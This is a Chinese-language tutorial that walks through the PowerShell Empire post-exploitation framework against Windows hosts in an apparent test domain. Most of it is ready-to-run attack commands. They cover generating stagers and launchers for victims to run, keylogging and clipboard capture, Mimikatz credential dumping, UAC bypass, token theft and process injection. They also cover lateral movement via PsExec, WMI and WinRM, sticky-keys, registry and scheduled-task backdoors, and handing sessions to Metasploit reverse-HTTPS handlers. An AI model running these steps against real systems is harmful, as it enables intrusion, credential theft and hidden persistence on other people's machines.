Empire是一款针对winodows平台的、使用PowerShell脚本作为攻击在和的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一些列功能。Empire实现了无需Powershell.exe就可运行PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置有键盘记录、Mimikatz、绕过UAC、内网扫描等,可躲避网络检测和一些安全防护工具的茶撒谎,类似metasploit是一个基于powershell的远控木马

0x01 Empire安装

下载Empire

1
git clone https://github.com/EmpireProject/Empire.git

接着进入setup目录,使用如下命令安装

1
2
3
cd Empire/setup/
./install.sh
./empire //安装好后运行Empire

输入help命令查看Empire使用帮助信息

0x02 设置监听

输入uselistener来设置采用什么方式,使用双击Tab键可以看到一共有7种模式,分别为:dbx、http、http_com、http_foreign、http_hop、http_mapi、meterpreter、onedrive、redirector

这里选择http模式,输入命令uselistener http然后输入info命令查看具体参数设置

set命令设置相应参数,修改NameHostPort,然后输入命令execute命令开始监听

1
2
3
set Name pentest
set Host (Empire所在服务器IP)
execute

输入back命令即可返回上一层的listeners界面,输入list命令可以列出当前激活的listener

注意,如果开启多个监听,必须使用不同的名称,且使用不同的端口

如果要删除某个监听使用kill命令加上监听的Name

1
kill [Name]

0x03 生成木马

设置完监听后,接下来生成木马在目标机器上运行stager。接着输入usestager来采用什么模块,依旧是双击Tab键,可以看到26个模块multi为通用模块、osxmac操作系统、其他为linuxwindwos生成的摁键类型有dll,bat,vbs

1、DLl木马

设置DLL木马,输入命令usestager windows/dll,用info命令查看详细参数

1
2
usestager windows/dll
info

之后设置Listener,然后执行execute命令即可生成launcher.dll木马,把生成的木马在目标机器上运行即可上线

2、launcher

直接在监听菜单中输入launcher <launcher> <listenerName>即可生成一个base64的编码

1
launcher powershell pentest

然后复制这段代码在目标机器上执行,即可上线,输入命令agents就可看到上线目标主机的具体内容,这里的agents相当于metasploit的会话sessions

此时的Name会取一个随机的名字,可使用rename <oldAgent Name> <newAgentName>命令修改,如下所示

3、launcher_vbs木马

设置launcher_vbs木马

1
2
windows/launcher_vbs
info //查看详细参数

使用如下命令设置Listener的参数并运行

1
2
set Listener pentest
execute

在目标机器上运行vbs代码即可上线

其他的类似,就不做过多的重复性了

0x04 agents代理中的使用

目标主机反弹成功后,可以使用agents命令列出当前已连接的主机,注如果有带有(*)的表示已提权成功的主机

1
2
list stale  //列出已丢失反弹代理权
remove stale //删除已丢失的

使用interact命令连接主机,可使用Tab键补全主机的名称,连接成功后使用help命令可列出相关命令

输入help agentcmds命令可看到可供使用的常用命令,使用部分CMD命令的时候,要使用“shel+命令”的格式

1
2
help agentcmds
shell net view

sc截图

加载mimikatz需要带有*的权限才能获取系统账号密码

使用creds命令可自动过滤,整理出获取的用户密码

输入creds命令后双击Tab键,可看到一些选项,在密码较多且杂乱的时候可通过hash/plaintext进行排列、增加、删除、导出等操作,导出凭据存储,输入creds export 目录/xx.csv

0x05 信息收集

Empire主要用于后渗透,信息收集模块比较常用,可以使用search module命令搜索需要的模块usemodule collection然后用Tab键查看完整的列表

1、屏幕截图

输入如下命令可查看该模块具体参数,输入execute命令截图

1
2
3
usemodule collection/screenshot
info
execute //截图

2、键盘记录

输入如下命令可查看该模块具体参数,输入execute命令启动后就开始记录目标主机的键盘输入情况了,此时会自动在/Empire/downloads/<AgenName>下生成一个agent.log文件

1
2
usemodule collection/keylogger
info

在目标主机上输入字符,这边即可查看到

如果要持续进行键盘记录,可以把当前监控模块置于后台

1
2
jobs //显示当前在后台的记录
jobs kill D1ZFSR //停止键盘记录

3、剪贴板记录

这个模块允许用户抓取存储在目标主机windows剪贴板上的任何类型,可设置参数抓取时间的限制和间隔,默认即可

1
2
3
usemodule collection/clipboard_monitor
info
execute

在目标主机上随意复制一句话,就可看到屏幕上依旧显示了

监控模块置于后台,显示当前后台的记录跟停止,跟上一个相同

4、查找共享

输入如下命令列出域内所有的共享

1
2
usemodule situational_awareness/network/powerview/share_finder
execute

这里显示查找完毕,并为列出的原因是因为不是域环境


5、收集目标主机信息

输入如下命令,即可查看本机用户、域组成员、最后密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等

1
2
usemodule situational_awareness/host/winenum
execute

如下命令,几乎列举了系统中所有有用信息、目标主机时间日志、应用程序策略日志、RDP登录信息、Powershell脚本运行和保存信息

6、ARP扫描

Empire中内置了ARP扫描模块,输入如下命令即可使用该模块

1
2
3
usemodule situational_awareness/network/arpscan
set Range 192.168.1.0-192.168.1.10 //设置扫描范围
execute

7、DNS信息获取

在内网中,知道所有机器HostName和对应的IP地址对分析内网结构直观重要,输入usemodule situational_awareness/network/reverse_dns 命令可使用该模块,这里要设置Range参数,输入要扫描的IP段

1
2
3
usemodule situational_awareness/network/reverse_dns
set Range 192.168.1.0-192.168.1.10
execute

如果存在两个网卡,也会显示出来,方便寻找边界主机

另一个模块usemodule situational_awareness/host/dnsserver显示当前内网DNS服务器的IP地址

8、查找域管登录服务器IP

在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域控,usemodule situational_awareness/netneflwork/powerview/user_hunter这个模块就是用来查找域管登录机器的,它可以清除看到哪位用户登录了哪台主机

9、本地管理组访问模块

使用如下命令

1
2
usemodule situational_awareness/network/powerview/find_localadmin_access
execute

10、获取域控制器

1
2
3
usemodule situational_awareness/network/powerview/get_domain_controller
execute
shell dir \\DC\c$ //验证是否能访问域服务器的“C$”

0x06 权限提升

提权,提高自己在服务器中的权限,如Guest,通过提权后变成超级管理员权限

1、Bypass UAC

如下命令,成功的话会上线一个新的反弹

1
2
3
usemodule privesc/bypassuac
set Listener pentes //设置参数
execute

2、bypassuac_wscript

大致原理是使用C:\Windows\wscript.exe执行payload.exe,既绕过UAC实现管理员权限执行payload,只适用于Windows7系统,目前尚未有对应补丁,注,在域环境中测试的时候会弹出输入域用户跟账号后才能成功,尚不清楚原理,这样实战貌似效果不大

1
2
3
usemodule privesc/bypassuac_wscript
set Listener pentest
execute

3、PowerUp

Empire内置PowerUp的部分工具,用于系统提权,主要有windows错误系统配置漏洞,Windows Services漏洞、AlwayslnstallElevated漏洞等8种提权方式。输入usemodule privesc/powerup/命令然后Tab键查看其完整列表

(1) AllChecks模块

查找系统中的漏洞,和PowerSploitPowerUp中的Invoke-AllChecks模块一样,该模块可执行所有脚本检查系统漏洞,命令如下

1
2
usemodule privesc/powerup/allchecks
execute

(2) 模块使用说明

AllChecks模块的应用对象如下表示

  • 任何没有引号的服务路径
  • 任何ACL配置错误的服务(可通过service_*利用)
  • 服务可执行文件上的任何设置不当的权限(可通过service_exe_*进行利用)
  • 任何剩余unattend.xml文件
  • 设置AlwayslnstallElevated注册表项
  • 如果有任何Autologon凭证留在注册表中
  • 任何加密web.config字符串和应用程序池密码
  • 对于任何%PATH%.DLL的劫持计划(可用过write_dllhijacker利用)

参考如下

////

4、GPP

在域里常会启用组策略首选项来更改本地密码,便于管理和部署映像,缺点是任何普通用户都可以从相关域控制器SYSVOL中读取部署信息。GPP是采用AES加密,查看命令如下

1
2
usemodule privesc/gpp
info

0x07 横向渗透

在我们获取服务器权限后,可m使用mimikatz获取系统密码,执行完后输入creds命令可查看其列举的密码

1
2
3
4
5
6
creds
pth 1
steal_token
shell dir \\SERVER-2008-R2\c$
revtoself
ps

可以发现有域用户曾在此服务器上登录,这时可以窃取域用户身份,然后进行横向移动,首先窃取身份,使用pth<ID> 命令,这里的ID号是cerds下的CredID号,窃取Administrator身份令牌,执行pth 1

看到进程PID为2352,使用steal_token PID

也可以用ps 命令查看是否有域用户的进程,同样可以通过steal_token命令来获取,这里尝试访问域内的另一台\\SERVER-2008-R2c$,顺利访问

使用revtoself命令恢复要原始状态

2、会话注入

选择psinject模块进行会话注入,直接输入ps选择一个进程PID使用进程注入模块,需要设置ProcIdListener,运行后会反弹回一个域用户权限的shell

1
2
3
4
5
usemodule management/psinject
info
set ProcId
set Listener
execute

3、Invoke-PsExec

缺点被杀毒软件检测留下日志,需开启admin$445端口共享,优点可直接返回SYSTEM权限,使用前提,已获得本地管理员权限,甚至域管理员账户,从而进一步渗透内网

1
2
3
4
5
usemodule situational_awareness/network/powerview/find_localadmin_access //查找整个域中全部计算机名
usemodule lateral_movement/invoke_psexec
set ComputerName SERVER-2008-R2.hacke.testlab
set Listener WC
execute

先查找整个域中的计算机名

设置参数,由于2008测试未成功,就直接用的自己打自己。。。

4、Invoke-WMI

所有windows系统均启用,不会记录日志操作,攻击无需写入磁盘,隐蔽性高,如启动了防火墙,则WMI无法连接目标机器

1
2
3
4
WIN7-X64-TEST.hacke.testlab
set ComputerName SERVER-2008-R2.hacke.testlab
set Listener WC
execute

5、PowerShell Remoting

Powershell Remoting是powershell的远程管理功能,开启Windows远程管理服务WInRM系统后回监听5985端口,该服务在windows server2012中是启动的,Windows server 2003/2008/2008 R2 需要手动启动

如目标开启该服务,或拥有其权限的凭据,则可用如下命令横向渗透

1
2
3
4
usemodule lateral_movement/invoke_psremoting
set ComputerName
set Listener
execute

0x08 后门

后门的主要目的是方便以后再次秘密进入或控制系统

1、权限持久化劫持Shift后门

命令如下

1
2
3
4
usemodule lateral_movement/invoke_wmi_debugger
set Listener
set ComputerName WIN7-X64-TEST.hacke.testlab
execute

运行后,在目标主机登录窗口按5次Shift键即可触发后门

sethc.exe可以替换以下几项

  • Utilman.exe(使用Win+U组合键启动)
  • Ask.exe(屏幕上的键盘:使用Win + U启动组合键)
  • Narrator.exe(启动讲述人:使用Win + U启动组合键)
  • Magnify.exe(放大镜:使用Win + U组合键启动)

2、注册表注入后门

命令如下

1
2
3
usemodule persistence/elevated/registry*
set Listener
execute

重启目标机,会弹个黑框,之后就会收到反弹的shell

3、计划任务

命令如下,计划任务获取的权限是SYSTEM

1
2
3
4
usemodule persistence/elevated/schtasks*
set DailyTime //设置时间
set Listener
execute

0x09 Empire联动Metasploit

在实际渗透中,当拿到webshell上传的MSF客户端无法绕过目标主机的杀毒软件时,可以使用powershell绕过,也可以执行Empire的payload来绕过,成功后使用Empire模块将其反弹回Metasploit

命令如下

1
2
3
4
5
6
7
8
9
10
11
Empire设置
usemodule code_execution/invoke_shellcode
set Lhost
set Lport
execute

然后在msf设置
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST
set LPORT

测试的时候发现一直弹不回,原因暂时未知….

参考资料

http://www.powershellempire.com/?page_id=133

PowerShell Empire实战入门篇

《Web安全攻防渗透实战指南》